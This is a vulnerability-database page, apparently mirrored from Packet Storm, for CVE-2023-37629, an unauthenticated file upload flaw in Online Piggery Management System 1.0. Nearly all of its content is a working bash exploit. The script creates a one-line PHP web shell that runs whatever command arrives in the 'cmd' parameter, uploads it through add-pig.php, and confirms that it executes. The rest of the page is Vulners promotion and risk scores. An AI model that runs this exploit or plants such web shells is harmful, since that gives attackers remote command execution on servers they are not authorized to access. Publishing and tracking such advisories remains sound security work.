Lucene search
K

Online Piggery Management System 1.0 Shell Upload

🗓️ 20 Jul 2023 00:00:00Reported by 1337kidType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 260 Views

Online Piggery Management System 1.0 unauthenticated file upload vulnerabilit

Related
Code
`#!/bin/bash  
# Exploit Title: Online Piggery Management System v1.0 - unauthenticated file upload vulnerability  
# Date: July 12 2023  
# Exploit Author: 1337kid  
# Software Link: https://www.sourcecodester.com/php/11814/online-pig-management-system-basic-free-version.html  
# Version: 1.0  
# Tested on: Ubuntu  
# CVE : CVE-2023-37629  
#  
# chmod +x exploit.sh  
# ./exploit.sh web_url  
# ./exploit.sh http://127.0.0.1:8080/  
  
echo " _____ _____ ___ __ ___ ____ ________ __ ___ ___ "  
echo " / __\\ \\ / / __|_|_ ) \\_ )__ /__|__ /__ / /|_ ) _ \\"  
echo " | (__ \\ V /| _|___/ / () / / |_ \\___|_ \\ / / _ \\/ /\\_, /"  
echo " \\___| \\_/ |___| /___\\__/___|___/ |___//_/\\___/___|/_/ "  
echo " @1337kid"  
echo   
  
if [[ $1 == '' ]]; then  
echo "No URL specified!"  
exit  
fi  
  
base_url=$1  
  
unauth_file_upload() {  
# CVE-2023-37629 - File upload vuln  
echo "Generating shell.php"  
#===========  
cat > shell.php << EOF  
<?php system(\$_GET['cmd']); ?>  
EOF  
#===========  
echo "done"  
curl -s -F [email protected] -F submit=pwned $base_url/add-pig.php > /dev/null  
req=$(curl -s -I $base_url"uploadfolder/shell.php?cmd=id" | head -1 | awk '{print $2}')  
if [[ $req == "200" ]]; then  
echo "Shell uploaded to $(echo $base_url)uploadfolder/shell.php"  
else  
echo "Failed to upload a shell"  
fi  
  
}  
  
req=$(curl -I -s $base_url | head -1 | awk '{print $2}')  
if [[ $req -eq "200" ]]; then  
unauth_file_upload  
else  
echo "Error"  
echo "Status Code: $req"  
fi  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Jul 2023 00:00Current
7.1High risk
Vulners AI Score7.1
CVSS 3.19.8
EPSS0.87148
SSVC
260